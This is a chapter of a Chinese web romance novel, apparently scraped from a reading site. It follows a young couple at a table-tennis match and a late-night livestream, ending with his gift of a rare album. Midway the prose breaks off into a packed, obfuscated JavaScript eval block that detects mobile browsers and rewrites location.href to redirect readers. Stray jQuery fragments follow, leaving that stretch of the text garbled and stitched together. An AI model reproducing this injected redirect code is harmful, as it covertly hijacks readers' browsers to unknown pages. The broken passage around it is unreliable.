男朋友。


    璩经声带着笑放下手机，他放松身体倚在沙发靠背上，抬起左手背轻搭在紧闭的眼皮上。


    翁心蘅听见电视被连着换了节目，从阳台回到客厅：“经声？”


    “是我回来了。”


    她看着茶几上的乒乓球拍，旁边白色的乒乓球上也签了名：“这么开心啊？见到了就好。”


    璩经声平复好心情，把遥控器放回去：“妈，我晚上看比赛会晚点回。”


    “几点啊？用不用去接你。我和你爸晚上要去爷爷家，回来路过场馆。”


    “最晚九点半吧，不用接我，打车很快。”


    翁心蘅把窗帘拉上一截，避免直射光照到电视机柜旁的金边百合竹：“那行，到时候碰见再说吧。”


    璩经声反复点开虞雯翊的这条微博，想做点什么举动精准传达他此刻的心情，大脑又一片空白。


    他用相同的语言把一句话翻译了好几遍，测试过准确度后，打开评论区发送出去。


    “叮咚”一声，虞雯翊的手机屏幕亮起来，她正在给果冻配餐。


    “口水收一收，冻子。”虞从序拨拉几下它的耳朵，余光瞄了一眼，“你微博还开了通知显示啊，不吵啊。”


    他受不了各大软件频繁推送，除了必要的通讯，全都给关了，有时候还要再打开免打扰。


    “不吵。”某些时刻，她喜欢这个声音，耳听心受。


    虞雯翊摸摸果冻的头，它一直乖乖地等着：“吃吧。”


    她点进去微博，是璩经声评论了她的动态。


    虞雯翊先点了下自带的翻译。


    【“小白球女神”也眷顾于我。】


    “小白球女神”是乒乓球拟人化的说法，比赛时，球迷们会希望“小白球女神”眷顾自己支持的运动员如愿拿牌。


    他也如愿。


    虞雯翊失笑，点了个赞，消息提醒她关注的博主更新了视频。


    虞从序偏过头的前一秒，虞雯翊点了进去播放观看。


    “看什么呢，好看得笑成这样，叫我也看看。”


    虞雯翊按下音量键，固定的开头问候语虞从序都记下来了，那个她经常看的男博主：“他长得怎么样啊？”


    虞雯翊顿悟虞从序是在问璩经声的长相，说：“挺帅的。”


    虞从序又看了看男博主，持怀疑态度：“那我得眼见为实。”


    “……好啦，没那么快见到，要实习结束后。”


    果冻吃饱喝足，舔着嘴巴意犹未尽的感觉，虞从序忙抽出来一张纸巾抵住它凑近的嘴筒子：“就吃那么多，开始减肥了，擦嘴。”


    虞从序见她回房间休息，继续给果冻擦嘴巴：“你说实话，你是不是见过他了。”


    有句话说吃人嘴短，拿人手软。


    但是，话说回来，它不会说话。


    “他多高啊，第一次见面，我气势上不能输了，做好老姐的后盾……”


    “怎么什么也打探不到，晚上我得想个办法看到他。”


    ……


    傍晚六点钟，虞雯翊收拾好东西，背着包打车去场馆和璩经声汇合。


    她背了一个小小的斜挎包，场馆里有储物柜可以存放。


    见璩经声背着上次来小区见她的包有些意外，近看倒也没有沉甸甸的样子：“你装了什么？不重吧。”


    “还不能说，重又不重。”他难得神神秘秘的。


    重不重，取决于她。


    他没说，虞雯翊没直白地问到底。


    到存放的地方，璩经声动作轻缓地把它放进柜子里，怕它被挤压、磕碰到。


    进场后，两个人找到位置坐下来，座位之间的空隙较为拥挤，不比A档近距离，好在B档视野能看得清球。


    虞雯翊把闪光灯关掉，侧身观察着馆内，有带着相机的，最前排部分观众还为外协选手精心准备了应援手幅。


    主裁判入场，灯光亮起来，选手的球拍由其统一摆放在球桌上。


    主持人先后喊出选手的名字，出场时的动画视觉效果无比热血。


    教练把选手们喝的水拿出来，黄色的看起来有点像橙汁，她搜索过这种水，是根据选手特制的功能饮料。


    两位选手在进行一分钟热身，乒乓球碰撞在球桌上发出撞击声。


    比赛正式开始，虞雯翊专注地看着1号桌两位选手的较量。


    1号桌的场地面积大，还配备了TTR挑战。


    璩经声关注的选手是下一组，安排在了19：45分。


    观众席各自为支持的选手得分欢呼，看现在情况，双方打法相克，很快第二局以11：4结束了。


    局间休息时，大屏上转到训练场，下一组选手在练球，为了制造旋转，每一次挥拍动作幅度都颇大。


    璩经声附耳过来：“结束以后，我送你回去吧。”


    虞雯翊想起来虞从序说要接她，她也答应了：“好像不能了，我弟弟中午说要接我。”


    “这样……”璩经声稍作思索，“那你借给我几分钟吧。”


    “是十几分钟呢，还是二十几分钟呢？”她好给虞从序发消息晚点过来。


    他说话的气息扑在耳廓上：“结束再告诉你，不会让他等太久。”


    第三局开始了，观众席安静下来，虞雯翊点点头视线移回球桌上。


    实力悬殊过大，擅长的正手发挥不出来，又掉进了对手的节奏里，最后也没能打到决胜局。


    到19：50的时候，璩经声关注的外协选手登场，他和对手上次交手已经是一年前了，没太大参考性。


    虞雯翊拿出手机拍了几张照片，本来还担心是外协选手，但比赛开始有不少理智的加油声。


    “Chole！”虞雯翊眼尾上扬看向他，示意她这次喊对了。


    “Chole！”璩经声的声音跟在她后边，赞同地颔首。


    前两局顺利拿下，局间喝水时教练一直在打手势，让他发球后抢攻，意在限制对手的正手。


    进入到相持阶段，他有一个反手全台拧拉的动作虞雯翊没看明白。


    打到第四局8：9，领先被连续追了三分，对手的教练叫了暂停，璩经声一时简短几句话跟她概括不出来。


    他抓住虞雯翊的手腕给她示范动作，手腕内收，从内向外旋转。


    虞雯翊懂了个大概，她的手要抽回来的瞬间，璩经声短暂地握住她的手，大拇指在她的戒指上摩挲过。


    他内心默默道，女朋友。


    有点不舍得松开。


    像在做梦一样。


    他打算放开虞雯翊的手，下一刹那间，手被反牵住，虞雯翊握住了他的手心，拇指和拇指贴在一起，两个人的手被她带动着垂下去，被座椅遮挡住。


    手心是软的、热的，心脏在疯狂跳动，随着她的手指轻轻动了一下，璩经声下意识地牵紧她的手。


    全场骤然响起的热烈的加油、鼓掌声又告诉他，是真的。


    璩经声，清醒一点。


    然后，专心地看比赛。


    直到比赛以4：2结束，他支持的外协选手晋级半决赛，两个人的手都没有松开过。


    选手向观众席加油呐喊的球迷挥手致意后，走到主持人和翻译身边接受采访。


    采访的第二个问题，问他对支持自己的球迷有什么想说的，他没说母语让翻译再转述，而是用了一句简单、直接的英语感谢球迷们。


    Loveyouallandthankyouverymuch.


    虞雯翊的手机屏幕亮起来，设置了静音不知道是什么消息，她低头去看。


    璩经声拿着湿纸巾给她擦牵过的那只手的掌心，他刚开始紧张，手心里有汗。


    虞雯翊展开消息，是她喜欢的女歌手的开播提示。


    她上个月拍摄新专MV工作繁忙，加上造型要保密，大多是文字互动，自拍图也是之前存的图片，今天和歌迷们约好了开直播。


    接下来是男子双打，不是他们关注的选手，璩经声看着直播间弹幕快速地刷新着，问她：“我们走吧，出去看网络会好一些。”


    “好。”


    虞雯翊和璩经声走进最近的一家二十四小时营业的奶茶店里，他们两个在靠窗的角落里坐下来。


    直播间里女歌手低声哼唱了几句，弹幕都在猜是新歌，她故作后知后觉：“我刚刚唱了什么吗，我什么也没唱哈。”


    虞雯翊拿出耳机戴上，把另一只耳机给璩经声戴上：“陪我看一会儿直播。”


    现在是20：40分，确认过虞从序还在家里打游戏，她给他发微信说21：30再来接她。


    聊了几句近况后，女歌手说可以给大家唱几首歌听，弹幕全在刷自己想听的歌。


    虞雯翊最喜欢的一首歌在她的歌里不是特别火，前奏尤为戳人，一直是她的起床铃声，那首歌是几年前发行的了。


    “大家可以点几首我不常唱的’冷门‘歌曲，有的上次直播唱过了。”


    虞雯翊把自己想听的歌发送出去，迅速被淹没在一众评论区里。


    璩经声没打扰她，按她平时喜好点了一杯雪毫茉王芭乐。


    清唱依然很好听，音色特别独特，她翻牌了几首去年的专辑里的歌：“再唱一首我就要关播了。”


    她略过花式刷屏不让下播的呼声，回答大家都在关心的演唱会，今年不会加场了，新巡要明年二月了。


    将近二十分钟左右的直播结束，虞雯翊有些遗憾，上半年没抢到演唱会的票，今年也没有跨年演唱会了。


    她想起璩经声说要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926720|192752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    借几分钟，快要21：03分了：“想好借几分钟了吗？”


    “先借我一首歌的时间吧。”


    璩经声又道：“就刚刚你没听成的那首歌，我们一起把它听完，好吗？”


    “好。”虞雯翊打开音乐软件，在我的喜欢里找到它，点下播放。


    前奏过后，虞雯翊没由来想起阅卷时被璩经声跳过的那首歌，和这首歌一模一样。


    他当时说要单独付费。


    虞雯翊捏住吸管搅动了几下，三分多钟的歌快要听完，还是想不出来璩经声下一步的打算。


    系统默认的是顺序播放，她在犹豫要不要再重新放一遍，还是按下暂停键。


    璩经声在她专心看直播的时候就把背包打开了，他踩着歌曲结束的前几秒把放在后面的实体专辑放到虞雯翊的面前：“很好听的一首歌。”


    他轻点两下虞雯翊的耳机侧面，歌曲及时暂停掉。


    虞雯翊正要说话，他又拿出来一个主题联名的CD机：“她的歌都不太好唱，短时间学不好给你唱了，但我可以陪你一起听。”


    这首歌的实体专辑是限量发行，那时候她正忙着高考，后来在海鲜市场上试图收过，但都有瑕疵，要么是骗人的。


    “你怎么知道，我没有它的实体专辑。”


    那天虞雯翊和他视频展示自己的Lolita裙子时，他注意到了另一边的“痛柜”。


    他回看视频时，每一层都分类按年份摆放的，有实体专辑和各种周边，一眼望去唯独第四层最空。


    “今天你陪我看比赛，我很开心，比赛结果也都如愿，好在没有‘牺牲’你喜欢的歌手难得的直播，我希望你也能如愿。”


    直播间，她没被翻牌的那首歌，璩经声以另外一种形式“唱”给她听了。


    虞雯翊把耳朵贴近专辑和CD机：“你也‘唱’给我听了啊，我听到啦。”


    她还戴着耳机，仿佛真有音乐，璩经声眼神变柔和眨眨眼了然。


    要到虞从序来接他的时间了，他把专辑和CD机放回包里：“你今天把它背回去吧，重的话让你弟弟帮忙背着。”


    虞雯翊把他的话如数归还：“重又不重，我要自己背着。”


    一起出去的路上，虞雯翊问他怎么买到的，她知道专辑还有亲签，价格被炒得很高，璩经声三言两语同城碰面收的。


    他不愿意说，虞雯翊心里都明白：“没有遇到骗子吧。”


    “放心，没有。”


    “那就好。”


    周边都是打车回去的人，难免会有些堵，璩经声背着包送虞雯翊到虞从序下车的地方。


    对面有辆黑色的大G璩经声觉得眼熟，看了一会儿，确定它在慢慢地跟着他们。


    虞雯翊勾了勾他的手指，提醒他注意脚下不平稳：“小心脚下。”


    车牌号完全对上了，他右手拿出手机别扭地单手打字发送到家庭群里。


    【别跟了，是我。】


    【别吓到她。】


    黑色大G里，副驾翁心蘅看完消息让璩研赶紧往前开过去，到璩经声指定的地方等他。


    璩研还在看后视镜：“我就说那身形像经声吧，这小子……开窍了就好啊。”


    “小时候怕他学习落后别人，管得有点狠了，狗那事都没敢再提过，在人家那里好好养着呢，差点以为儿子真变学习机器了。”


    璩经声的成长过程中，两个人没少因为“优绩主义”生气。


    翁心蘅无暇理会他，满心都是虞雯翊牵璩经声的手了：“看你开那么快，生怕看清人家女孩子的样子是吧。”


    “……”


    在公交站台旁，虞雯翊把包背过来，虞从序坐在了后排靠车道的位置，他挪过来想开门出来，虞雯翊及时坐进去，车窗却被降了下来。


    他探着脑袋还是看见了。


    21：35分，天色虽然暗了，路灯的光亮足以他看清璩经声的面孔。


    虞从序挑了挑眉，藏成这样，这不是挺拿得出手的。


    两个人都只是看着彼此，璩经声抬手试探着问好，虞从序还沉浸在自己的世界里，虞雯翊挥着双手和他告别。


    等虞雯翊坐的车离开视线里，璩经声找到自己家车停的位置坐上车。


    翁心蘅看着他系上安全带：“咳，谈恋爱啦？经声。”


    “确定了告诉你们。”


    璩研和翁心蘅欣喜地互使眼色，一揽子问题都忍住憋了回去。


    璩经声例行打开虞雯翊的微博，点进去前，心想不知道她什么时候再发动态，尽管中午见面会已经发过一条了。


    他知道虞雯翊也事事有回应，从不让他落空。


    就在他观察自己家车牌号的时候，虞雯翊已经悄悄发了。


    【听见了我们的爱情。】